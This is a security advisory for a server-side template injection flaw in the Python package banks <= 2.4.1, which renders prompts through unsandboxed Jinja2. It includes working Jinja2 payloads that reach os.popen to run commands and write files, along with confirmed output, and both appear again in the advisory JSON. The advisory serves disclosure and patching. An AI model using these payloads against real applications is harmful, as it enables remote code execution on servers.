GHSA-GPHH-9Q3H-JGPP
Vulnerability from github – Published: 2026-05-08 20:36 – Updated: 2026-05-08 20:36Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "banks"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44209"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T20:36:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text() # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
"id": "GHSA-gphh-9q3h-jgpp",
"modified": "2026-05-08T20:36:22Z",
"published": "2026-05-08T20:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
},
{
"type": "WEB",
"url": "https://github.com/masci/banks/pull/74"
},
{
"type": "PACKAGE",
"url": "https://github.com/masci/banks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.